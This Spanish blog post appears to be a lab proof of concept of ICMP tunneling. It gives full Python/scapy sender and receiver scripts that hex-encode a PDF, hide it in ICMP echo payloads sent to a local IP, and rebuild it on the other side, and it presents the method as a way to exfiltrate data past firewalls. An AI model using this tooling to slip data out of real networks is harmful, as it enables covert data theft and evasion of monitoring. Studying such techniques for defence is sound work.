En este artículo vamos a intentar trasladar un archivo PDF desde una máquina a otra utilizando el protocolo ICMP y su campo Data. Pero antes hay que familiarizarse con algunos conceptos.
ICMP (Internet Control Message Protocol) es un protocolo de red utilizado para enviar mensajes de error y operativos en redes IP. Aunque normalmente se usa para diagnosticar problemas de red, su capacidad para transportar datos permite que sea aprovechado para métodos de tunneling, ocultando comunicaciones en paquetes ICMP.
ICMP Tunneling es una técnica en la que los datos son encapsulados dentro de paquetes ICMP. Esto puede ser útil para evadir firewalls y sistemas de detección que pueden no inspeccionar exhaustivamente los paquetes ICMP.
La exfiltración de datos es el proceso de transferir datos sensibles desde un sistema comprometido a un atacante. Los métodos de exfiltración pueden utilizar varios protocolos, y el ICMP tunneling es uno de ellos, ya que permite ocultar la información dentro de paquetes ICMP.
Para esta prueba de concepto, vamos a utilizar los siguientes scripts en python.
TunelEnv.py
from scapy.all import *
import os
import re
def copy_and_modify_binary_data(pdf_path, txt_path):
# Leer el archivo PDF en modo binario
with open(pdf_path, 'rb') as pdf_file:
binary_data = pdf_file.read()
# Convertir los datos binarios a una cadena de texto con representación hexadecimal
hex_data = binary_data.hex()
# Crear una lista para almacenar los bloques modificados
modified_data = []
# Agregar la marca inicial
modified_data.append('[-> INI]')
# Dividir los datos en bloques de 15 caracteres y agregar el número de bloque
block_size = 15
total_blocks = len(hex_data) // block_size
for i in range(total_blocks):
block = hex_data[i * block_size:(i + 1) * block_size]
modified_data.append(f'[-> {i}] {block} [<- F]')
# Añadir cualquier restante del bloque final si no es múltiplo de 15
if len(hex_data) % block_size != 0:
remaining_block = hex_data[total_blocks * block_size:]
modified_data.append(f'[-> {total_blocks}] {remaining_block} [<- F]')
total_blocks += 1
# Agregar la marca final
modified_data.append(f'[-> {total_blocks} FIN]')
# Unir todos los bloques en una sola cadena con saltos de línea
modified_text = '\n'.join(modified_data)
# Escribir el texto modificado en el archivo TXT
with open(txt_path, 'w', encoding='utf-8') as txt_file:
txt_file.write(modified_text)
def read_file_in_blocks(file_path):
if not os.path.exists(file_path):
raise FileNotFoundError(f"El archivo {file_path} no se encuentra.")
with open(file_path, 'r', encoding='utf-8') as file:
content = file.read()
# Dividir el contenido en bloques respetando las marcas
blocks = re.split(r'(\[-> \d+\] .+? \[<- F\])', content)
# Filtrar bloques vacíos y devolver bloques junto con sus marcas
blocks = [block for block in blocks if block.strip()]
return blocks
def send_icmp_packets(ip_address, data_blocks):
for block in data_blocks:
# Crear paquete ICMP Echo Request
packet = IP(dst=ip_address)/ICMP()/Raw(load=block)
print(f"Enviando paquete con datos: {block}")
send(packet)
def packet_callback(packet):
if packet.haslayer(ICMP):
# Extraer el contenido del paquete ICMP recibido
icmp_data = packet[Raw].load.decode(errors='ignore')
print(f"Paquete ICMP recibido: {icmp_data}")
def main():
# Obtener la ruta actual del script
current_directory = os.path.dirname(os.path.abspath(__file__))
# Definir las rutas de los archivos PDF, TXT y de salida
pdf_path = os.path.join(current_directory, 'ejemplo.pdf')
txt_path = os.path.join(current_directory, 'salida.txt')
output_pdf_path = os.path.join(current_directory, 'salida.pdf')
# Crear y modificar el archivo salida.txt
copy_and_modify_binary_data(pdf_path, txt_path)
# Leer el archivo y dividir en bloques respetando las marcas
try:
data_blocks = read_file_in_blocks(txt_path)
except FileNotFoundError as e:
print(e)
return
# Definir la dirección IP del destinatario
ip_address = '192.168.1.130'
# Enviar los paquetes ICMP
send_icmp_packets(ip_address, data_blocks)
print("Envío de paquetes ICMP completado.")
# Escuchar las respuestas ICMP
print("Esperando respuestas ICMP...")
sniff(filter="icmp", prn=packet_callback, timeout=30)
if __name__ == "__main__":
main()
recPdfIcmp
from scapy.all import *
import signal
import sys
import re
import binascii
def packet_callback(packet):
if packet.haslayer(ICMP):
# Extraer el contenido del campo de datos del paquete ICMP
icmp_data = packet[Raw].load.decode(errors='ignore')
# Guardar el contenido en el archivo
with open('recibidoBruto.txt', 'a', encoding='utf-8') as file:
file.write(icmp_data + '\n')
print(f"Datos ICMP recibido y guardado: {icmp_data}")
def signal_handler(sig, frame):
print("\nInterrupción recibida, finalizando y reconstruyendo el PDF...")
reconstruct_pdf()
sys.exit(0)
def reconstruct_pdf():
try:
# Leer el archivo recibidoBruto.txt
with open('recibidoBruto.txt', 'r', encoding='utf-8') as file:
data = file.read()
# Usar una expresión regular para extraer los datos hexadecimales y marcas
pattern = r'\[-> (\d+)\] ([0-9a-fA-F]+) \[<- F\]'
blocks = re.findall(pattern, data)
# Eliminar duplicados usando un set
unique_blocks = {}
for index, hex_data in blocks:
if index not in unique_blocks:
unique_blocks[index] = hex_data
# Ordenar los bloques por índice
sorted_blocks = [unique_blocks[key] for key in sorted(unique_blocks.keys(), key=int)]
# Convertir la lista de bloques hexadecimales en una sola cadena binaria
binary_data = ''.join(sorted_blocks)
pdf_data = binascii.unhexlify(binary_data)
# Guardar los datos binarios como un archivo PDF
with open('recibidoExfiltradoPdf.pdf', 'wb') as pdf_file:
pdf_file.write(pdf_data)
print("Archivo PDF reconstruido como recibidoExfiltradoPdf.pdf")
except Exception as e:
print(f"Error al reconstruir el archivo PDF: {e}")
def main():
# Configurar el manejador de señales para manejar Ctrl + C
signal.signal(signal.SIGINT, signal_handler)
print("Esperando paquetes ICMP. Presiona Ctrl + C para finalizar y reconstruir el PDF...")
# Escuchar los paquetes ICMP indefinidamente
sniff(filter="icmp", prn=packet_callback)
if __name__ == "__main__":
main()
https://github.com/ismael107/icmpTunneling/tree/main
El primero tomará un ejemplo.pdf y lo enviará utilizando ICMP; el segundo se ejecutará en la máquina receptora y capturará los paquetes ICMP para reensablar el PDF.

Estamos usando ICMP de forma imaginativa y el campo data no esta pensado para este tipo de cosas. Además de estar limitados por el tamaño de los datos que podemos trasmitir, a veces se pierden paquetes o llegan mal formados. De modo que hemos ideado nuestra propia manera para reensamblar los datos cuando estos sean recibidos por la máquina receptora. Se ha creado un archivo de control donde podemos ver como se van a estructurar los datos que vamos a enviar.

Como se puede ver estamos fraccionando los datos, convirtiéndolos a hexadecimal y añadiendo nuestras propias marcas de control. Esto nos va a facilitar el trabajo de reensamblaje.
Ejecutamos nuestro script de recepción:

Y ejecutamos el script de envío

Podemos ver que se envían nuestros paquetes y son recibidos en el otro lado

Vamos a ver qué ha pasado en wireshark

Esta claro que discretos no estamos siendo, pero parece que la data se está enviando.

En el otro lado también han pasado cosas

Vamos a verlo.
Hay un archivo recibidoBruto.txt que hemos usado a modo de control.

Vamos a hacer un cat sobre él.

Como vemos ahí están nuestros trocitos de información listos para ser ensamblados.
Hagamos un cat sobre recibidoExfiltradoPdf.pdf

Da la impresión de que aquí tenemos un PDF bien formado. Hay que verlo.

Los scripts que he utilizado los he creado con ayuda de ChatGPT y, aunque no tienen por objeto parecerse a una exfiltración real, creo que sirven para ejemplificar bien en qué consiste la técnica de ICMP Tunneling.
Deja una respuesta